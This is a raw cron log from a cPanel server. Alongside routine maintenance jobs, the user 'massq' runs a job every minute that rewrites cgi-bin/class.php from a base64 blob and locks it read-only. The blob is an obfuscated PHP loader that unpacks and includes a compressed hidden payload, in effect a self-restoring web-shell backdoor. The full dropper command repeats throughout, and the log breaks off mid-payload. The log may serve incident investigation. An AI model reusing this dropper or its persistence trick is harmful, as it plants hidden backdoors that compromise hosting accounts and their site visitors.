Sep  6 22:59:01 server CROND[11930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:00:01 server CROND[12309]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:00:01 server CROND[12311]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:00:01 server CROND[12312]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:00:01 server CROND[12317]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  6 23:00:01 server CROND[12319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:00:01 server CROND[12322]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:00:01 server CROND[12324]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:00:01 server CROND[12323]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:00:01 server CROND[12318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:01:01 server CROND[13260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:01:01 server CROND[13261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:01:01 server CROND[13263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:01:01 server CROND[13262]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 23:01:01 server run-parts(/etc/cron.hourly)[13262]: starting 0anacron
Sep  6 23:01:01 server run-parts(/etc/cron.hourly)[13283]: finished 0anacron
Sep  6 23:02:01 server CROND[13785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:02:01 server CROND[13786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:02:01 server CROND[13784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:03:01 server CROND[14179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:03:01 server CROND[14180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:03:01 server CROND[14181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:04:01 server CROND[14551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:04:01 server CROND[14552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:04:01 server CROND[14553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:05:01 server CROND[14925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:05:01 server CROND[14927]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 23:05:01 server CROND[14930]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  6 23:05:01 server CROND[14931]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:05:01 server CROND[14935]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:05:01 server CROND[14936]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:05:01 server CROND[14933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:05:01 server CROND[14934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:05:01 server CROND[14932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:06:01 server CROND[15767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:06:01 server CROND[15768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:06:01 server CROND[15769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:07:01 server CROND[16236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:07:01 server CROND[16238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:07:01 server CROND[16239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:08:01 server CROND[16606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:08:01 server CROND[16607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:08:01 server CROND[16608]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:09:01 server CROND[16978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 23:09:01 server CROND[16980]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:09:01 server CROND[16979]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 23:09:01 server CROND[16981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 23:10:01 server CROND[17372]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 23:10:01 server CROND[17371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 23:10:01 server CROND[17374]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 23:10:01 server CROND[17389]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 23:10:01 server CROND[17392]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 23:10:01 server CROND[17394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 23:10:01 server CROND[17396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwk